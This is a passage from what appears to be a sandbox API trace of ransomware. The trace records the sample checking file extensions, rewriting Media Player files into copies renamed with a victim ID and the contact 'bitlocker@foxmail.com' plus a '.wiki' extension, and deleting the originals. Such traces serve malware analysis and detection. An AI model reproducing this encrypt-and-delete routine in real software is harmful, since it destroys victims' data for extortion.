HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms") returned 137 [0180.161] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms") returned 137 [0180.161] lstrlenW (lpString=".doc") returned 4 [0180.162] lstrcmpiW (lpString1=".doc", lpString2="d-ms") returned -1 [0180.162] lstrlenW (lpString=".docx") returned 5 [0180.162] lstrcmpiW (lpString1=".docx", lpString2="ed-ms") returned -1 [0180.162] lstrlenW (lpString=".pdf") returned 4 [0180.162] lstrcmpiW (lpString1=".pdf", lpString2="d-ms") returned -1 [0180.162] lstrlenW (lpString=".xls") returned 4 [0180.162] lstrcmpiW (lpString1=".xls", lpString2="d-ms") returned -1 [0180.162] lstrlenW (lpString=".xlsx") returned 5 [0180.162] lstrcmpiW (lpString1=".xlsx", lpString2="ed-ms") returned -1 [0180.162] lstrlenW (lpString=".ppt") returned 4 [0180.162] lstrcmpiW (lpString1=".ppt", lpString2="d-ms") returned -1 [0180.162] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms") returned 137 [0180.162] lstrlenW (lpString=".zip") returned 4 [0180.162] lstrcmpiW (lpString1=".zip", lpString2="d-ms") returned -1 [0180.162] lstrlenW (lpString=".rar") returned 4 [0180.162] lstrcmpiW (lpString1=".rar", lpString2="d-ms") returned -1 [0180.162] lstrlenW (lpString=".bz2") returned 4 [0180.162] lstrcmpiW (lpString1=".bz2", lpString2="d-ms") returned -1 [0180.162] lstrlenW (lpString=".7z") returned 3 [0180.162] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0180.162] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms") returned 137 [0180.162] lstrlenW (lpString=".dbf") returned 4 [0180.162] lstrcmpiW (lpString1=".dbf", lpString2="d-ms") returned -1 [0180.162] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms") returned 137 [0180.162] lstrlenW (lpString=".1cd") returned 4 [0180.162] lstrcmpiW (lpString1=".1cd", lpString2="d-ms") returned -1 [0180.162] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms") returned 137 [0180.162] lstrlenW (lpString=".jpg") returned 4 [0180.162] lstrcmpiW (lpString1=".jpg", lpString2="d-ms") returned -1 [0180.163] lstrcmpiW (lpString1=".wmdb", lpString2=".wiki") returned 1 [0180.163] lstrlenW (lpString="CurrentDatabase_372.wmdb") returned 24 [0180.163] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\currentdatabase_372.wmdb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0180.163] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=1069056) returned 1 [0180.163] CloseHandle (hObject=0x198) returned 1 [0180.163] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\currentdatabase_372.wmdb")) returned 0x2020 [0180.163] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\currentdatabase_372.wmdb.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0180.163] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\currentdatabase_372.wmdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0180.163] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.164] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.164] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\currentdatabase_372.wmdb.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0180.164] GetLastError () returned 0x0 [0180.164] ReadFile (in: hFile=0x198, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0180.197] WriteFile (in: hFile=0x334, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0180.411] ReadFile (in: hFile=0x198, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x5010, lpOverlapped=0x0) returned 1 [0180.420] WriteFile (in: hFile=0x334, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0x5020, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0x5020, lpOverlapped=0x0) returned 1 [0180.424] ReadFile (in: hFile=0x198, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x0, lpOverlapped=0x0) returned 1 [0180.424] WriteFile (in: hFile=0x334, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0x104, lpOverlapped=0x0) returned 1 [0180.424] SetEndOfFile (hFile=0x334) returned 1 [0180.425] CloseHandle (hObject=0x334) returned 1 [0180.425] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.425] SetEndOfFile (hFile=0x198) returned 1 [0180.426] CloseHandle (hObject=0x198) returned 1 [0180.426] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0180.426] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\currentdatabase_372.wmdb")) returned 1 [0180.748] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb") returned 91 [0180.748] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb") returned 91 [0180.748] lstrlenW (lpString=".doc") returned 4 [0180.756] lstrcmpiW (lpString1=".doc", lpString2="wmdb") returned -1 [0180.765] lstrlenW (lpString=".docx") returned 5 [0180.765] lstrcmpiW (lpString1=".docx", lpString2=".wmdb") returned -1 [0180.765] lstrlenW (lpString=".pdf") returned 4 [0180.765] lstrcmpiW (lpString1=".pdf", lpString2="wmdb") returned -1 [0180.765] lstrlenW (lpString=".xls") returned 4 [0180.768] lstrcmpiW (lpString1=".xls", lpString2="wmdb") returned -1 [0180.769] lstrlenW (lpString=".xlsx") returned 5 [0180.769] lstrcmpiW (lpString1=".xlsx", lpString2=".wmdb") returned 1 [0180.769] lstrlenW (lpString=".ppt") returned 4 [0180.769] lstrcmpiW (lpString1=".ppt", lpString2="wmdb") returned -1 [0180.769] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb") returned 91 [0180.769] lstrlenW (lpString=".zip") returned 4 [0180.769] lstrcmpiW (lpString1=".zip", lpString2="wmdb") returned -1 [0180.769] lstrlenW (lpString=".rar") returned 4 [0180.769] lstrcmpiW (lpString1=".rar", lpString2="wmdb") returned -1 [0180.769] lstrlenW (lpString=".bz2") returned 4 [0180.769] lstrcmpiW (lpString1=".bz2", lpString2="wmdb") returned -1 [0180.769] lstrlenW (lpString=".7z") returned 3 [0180.769] lstrcmpiW (lpString1=".7z", lpString2="mdb") returned -1 [0180.769] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb") returned 91 [0180.769] lstrlenW (lpString=".dbf") returned 4 [0180.769] lstrcmpiW (lpString1=".dbf", lpString2="wmdb") returned -1 [0180.769] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb") returned 91 [0180.769] lstrlenW (lpString=".1cd") returned 4 [0180.769] lstrcmpiW (lpString1=".1cd", lpString2="wmdb") returned -1 [0180.769] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb") returned 91 [0180.769] lstrlenW (lpString=".jpg") returned 4 [0180.769] lstrcmpiW (lpString1=".jpg", lpString2="wmdb") returned -1 [0180.769] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb") returned 91 [0180.769] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb") returned 91 [0180.769] lstrlenW (lpString=".doc") returned 4 [0180.769] lstrcmpiW (lpString1=".doc", lpString2="wmdb") returned -1 [0180.769] lstrlenW (lpString=".docx") returned 5 [0180.769] lstrcmpiW (lpString1=".docx", lpString2=".wmdb") returned -1 [0180.769] lstrlenW (lpString=".pdf") returned 4 [0180.769] lstrcmpiW (lpString1=".pdf", lpString2="wmdb") returned -1 [0180.769] lstrlenW (lpString=".xls") returned 4 [0180.770] lstrcmpiW (lpString1=".xls", lpString2="wmdb") returned -1 [0180.770] lstrlenW (lpString=".xlsx") returned 5 [0180.770] lstrcmpiW (lpString1=".xlsx", lpString2=".wmdb") returned 1 [0180.770] lstrlenW (lpString=".ppt") returned 4 [0180.770] lstrcmpiW (lpString1=".ppt", lpString2="wmdb") returned -1 [0180.770] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb") returned 91 [0180.770] lstrlenW (lpString=".zip") returned 4 [0180.770] lstrcmpiW (lpString1=".zip", lpString2="wmdb") returned -1 [0180.770] lstrlenW (lpString=".rar") returned 4 [0180.770] lstrcmpiW (lpString1=".rar", lpString2="wmdb") returned -1 [0180.770] lstrlenW (lpString=".bz2") returned 4 [0180.770] lstrcmpiW (lpString1=".bz2", lpString2="wmdb") returned -1 [0180.770] lstrlenW (lpString=".7z") returned 3 [0180.770] lstrcmpiW (lpString1=".7z", lpString2="mdb") returned -1 [0180.770] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb") returned 91 [0180.770] lstrlenW (lpString=".dbf") returned 4 [0180.770] lstrcmpiW (lpString1=".dbf", lpString2="wmdb") returned -1 [0180.770] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb") returned 91 [0180.770] lstrlenW (lpString=".1cd") returned 4 [0180.770] lstrcmpiW (lpString1=".1cd", lpString2="wmdb") returned -1 [0180.770] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb") returned 91 [0180.770] lstrlenW (lpString=".jpg") returned 4 [0180.770] lstrcmpiW (lpString1=".jpg", lpString2="wmdb") returned -1 [0180.770] lstrcmpiW (lpString1=".wpl", lpString2=".wiki") returned 1 [0180.770] lstrlenW (lpString="03_Music_rated_at_4_or_5_stars.wpl") returned 34 [0180.771] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\03_music_rated_at_4_or_5_stars.wpl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0180.771] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=1267) returned 1 [0180.771] CloseHandle (hObject=0x320) returned 1 [0180.771] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\03_music_rated_at_4_or_5_stars.wpl")) returned 0x2020 [0180.771] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\03_music_rated_at_4_or_5_stars.wpl.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0180.771] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\03_music_rated_at_4_or_5_stars.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0180.771] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.771] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.771] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\03_music_rated_at_4_or_5_stars.wpl.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0180.772] GetLastError () returned 0x0 [0180.772] ReadFile (in: hFile=0x320, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x4f3, lpOverlapped=0x0) returned 1 [0180.778] WriteFile (in: hFile=0x1b4, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0x500, lpOverlapped=0x0) returned 1 [0180.781] ReadFile (in: hFile=0x320, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x0, lpOverlapped=0x0) returned 1 [0180.781] WriteFile (in: hFile=0x1b4, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0x118, lpOverlapped=0x0) returned 1 [0180.781] SetEndOfFile (hFile=0x1b4) returned 1 [0180.781] CloseHandle (hObject=0x1b4) returned 1 [0180.782] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.782] SetEndOfFile (hFile=0x320) returned 1 [0180.782] CloseHandle (hObject=0x320) returned 1 [0180.782] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0180.783] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\03_music_rated_at_4_or_5_stars.wpl")) returned 1 [0180.783] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl") returned 131 [0180.783] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl") returned 131 [0180.783] lstrlenW (lpString=".doc") returned 4 [0180.783] lstrcmpiW (lpString1=".doc", lpString2=".wpl") returned -1 [0180.783] lstrlenW (lpString=".docx") returned 5 [0180.783] lstrcmpiW (lpString1=".docx", lpString2="s.wpl") returned -1 [0180.783] lstrlenW (lpString=".pdf") returned 4 [0180.783] lstrcmpiW (lpString1=".pdf", lpString2=".wpl") returned -1 [0180.783] lstrlenW (lpString=".xls") returned 4 [0180.783] lstrcmpiW (lpString1=".xls", lpString2=".wpl") returned 1 [0180.783] lstrlenW (lpString=".xlsx") returned 5 [0180.783] lstrcmpiW (lpString1=".xlsx", lpString2="s.wpl") returned -1 [0180.783] lstrlenW (lpString=".ppt") returned 4 [0180.783] lstrcmpiW (lpString1=".ppt", lpString2=".wpl") returned -1 [0180.783] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl") returned 131 [0180.783] lstrlenW (lpString=".zip") returned 4 [0180.783] lstrcmpiW (lpString1=".zip", lpString2=".wpl") returned 1 [0180.783] lstrlenW (lpString=".rar") returned 4 [0180.783] lstrcmpiW (lpString1=".rar", lpString2=".wpl") returned -1 [0180.784] lstrlenW (lpString=".bz2") returned 4 [0180.784] lstrcmpiW (lpString1=".bz2", lpString2=".wpl") returned -1 [0180.784] lstrlenW (lpString=".7z") returned 3 [0180.784] lstrcmpiW (lpString1=".7z", lpString2="wpl") returned -1 [0180.784] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl") returned 131 [0180.784] lstrlenW (lpString=".dbf") returned 4 [0180.784] lstrcmpiW (lpString1=".dbf", lpString2=".wpl") returned -1 [0180.784] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl") returned 131 [0180.784] lstrlenW (lpString=".1cd") returned 4 [0180.784] lstrcmpiW (lpString1=".1cd", lpString2=".wpl") returned -1 [0180.784] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl") returned 131 [0180.784] lstrlenW (lpString=".jpg") returned 4 [0180.784] lstrcmpiW (lpString1=".jpg", lpString2=".wpl") returned -1 [0180.784] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl") returned 131 [0180.784] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl") returned 131 [0180.784] lstrlenW (lpString=".doc") returned 4 [0180.784] lstrcmpiW (lpString1=".doc", lpString2=".wpl") returned -1 [0180.784] lstrlenW (lpString=".docx") returned 5 [0180.784] lstrcmpiW (lpString1=".docx", lpString2="s.wpl") returned -1 [0180.784] lstrlenW (lpString=".pdf") returned 4 [0180.784] lstrcmpiW (lpString1=".pdf", lpString2=".wpl") returned -1 [0180.784] lstrlenW (lpString=".xls") returned 4 [0180.784] lstrcmpiW (lpString1=".xls", lpString2=".wpl") returned 1 [0180.784] lstrlenW (lpString=".xlsx") returned 5 [0180.784] lstrcmpiW (lpString1=".xlsx", lpString2="s.wpl") returned -1 [0180.784] lstrlenW (lpString=".ppt") returned 4 [0180.784] lstrcmpiW (lpString1=".ppt", lpString2=".wpl") returned -1 [0180.784] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl") returned 131 [0180.784] lstrlenW (lpString=".zip") returned 4 [0180.785] lstrcmpiW (lpString1=".zip", lpString2=".wpl") returned 1 [0180.785] lstrlenW (lpString=".rar") returned 4 [0180.785] lstrcmpiW (lpString1=".rar", lpString2=".wpl") returned -1 [0180.785] lstrlenW (lpString=".bz2") returned 4 [0180.785] lstrcmpiW (lpString1=".bz2", lpString2=".wpl") returned -1 [0180.785] lstrlenW (lpString=".7z") returned 3 [0180.785] lstrcmpiW (lpString1=".7z", lpString2="wpl") returned -1 [0180.785] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl") returned 131 [0180.785] lstrlenW (lpString=".dbf") returned 4 [0180.785] lstrcmpiW (lpString1=".dbf", lpString2=".wpl") returned -1 [0180.785] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl") returned 131 [0180.785] lstrlenW (lpString=".1cd") returned 4 [0180.785] lstrcmpiW (lpString1=".1cd", lpString2=".wpl") returned -1 [0180.785] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl") returned 131 [0180.785] lstrlenW (lpString=".jpg") returned 4 [0180.785] lstrcmpiW (lpString1=".jpg", lpString2=".wpl") returned -1 [0180.785] lstrcmpiW (lpString1=".wpl", lpString2=".wiki") returned 1 [0180.785] lstrlenW (lpString="04_Music_played_in_the_last_month.wpl") returned 37 [0180.785] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\04_music_played_in_the_last_month.wpl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0180.786] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=1284) returned 1 [0180.786] CloseHandle (hObject=0x320) returned 1 [0180.786] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\04_music_played_in_the_last_month.wpl")) returned 0x2020 [0180.786] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\04_music_played_in_the_last_month.wpl.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0180.786] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\04_music_played_in_the_last_month.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0180.787] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.787] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.787] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync 